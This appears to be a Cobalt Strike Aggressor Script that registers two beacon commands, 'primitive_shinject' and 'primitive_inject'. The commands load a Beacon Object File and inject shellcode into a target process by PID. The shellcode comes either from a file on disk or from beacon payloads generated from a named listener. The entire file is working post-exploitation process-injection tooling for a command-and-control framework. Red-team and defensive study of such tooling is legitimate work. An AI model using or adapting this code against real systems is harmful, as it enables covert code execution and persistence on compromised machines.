beacon_command_register( "primitive_shinject", "Primitive Injection", "Usage: primitive_shinject PID path_to_bin\n"); beacon_command_register( "primitive_inject", "Primitive Injection", "Usage: primitive_shinject PID listener_name"); alias primitive_shinject { local('$handle $data $args $sc_data'); # figure out the arch of this session $barch = barch($1); # read in the right BOF file $handle = openf(script_resource("primitiveinj. $+ $barch $+ .o")); $data = readb($handle, -1); closef($handle); $sc_handle = openf($3); $sc_data = readb($sc_handle, -1); closef($sc_handle); # pack our arguments $args = bof_pack($1, "ib", $2, $sc_data); btask($1, "Primitive Injection (thanos)"); btask($1, "Reading shellcode from: $+ $3"); # execute it. beacon_inline_execute($1, $data, "go", $args); } alias primitive_inject { local('$handle $data $args'); # figure out the arch of this session $barch = barch($1); # read in the right BOF file $handle = openf(script_resource("primitiveinj. $+ $barch $+ .o")); $data = readb($handle, -1); closef($handle); if (listener_info($3) is $null) { berror($1, "Could not find listener $3"); } else { # Exit function is thread, as we're injecting into an existing process we likely don't wanna terminate on beacon exit. $sc_data = payload($3, "x64", "thread"); # pack our arguments $args = bof_pack($1, "ib", $2, $sc_data); btask($1, "Primitive Injection (thanos)"); btask($1, "Using $+ $3 $+ listener for beacon shellcode generation."); # execute it. beacon_inline_execute($1, $data, "go", $args); } }